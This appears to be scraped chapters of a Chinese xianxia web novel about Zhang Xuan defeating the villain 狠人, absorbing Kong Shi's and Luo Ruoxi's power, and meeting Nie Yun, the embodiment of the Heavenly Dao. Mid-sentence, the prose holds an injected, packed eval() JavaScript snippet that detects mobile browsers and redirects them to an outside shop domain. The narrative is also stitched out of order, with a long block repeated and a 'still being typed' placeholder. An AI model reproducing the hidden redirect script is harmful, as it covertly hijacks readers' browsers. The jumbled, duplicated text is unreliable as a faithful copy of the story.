名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809117|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零一章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 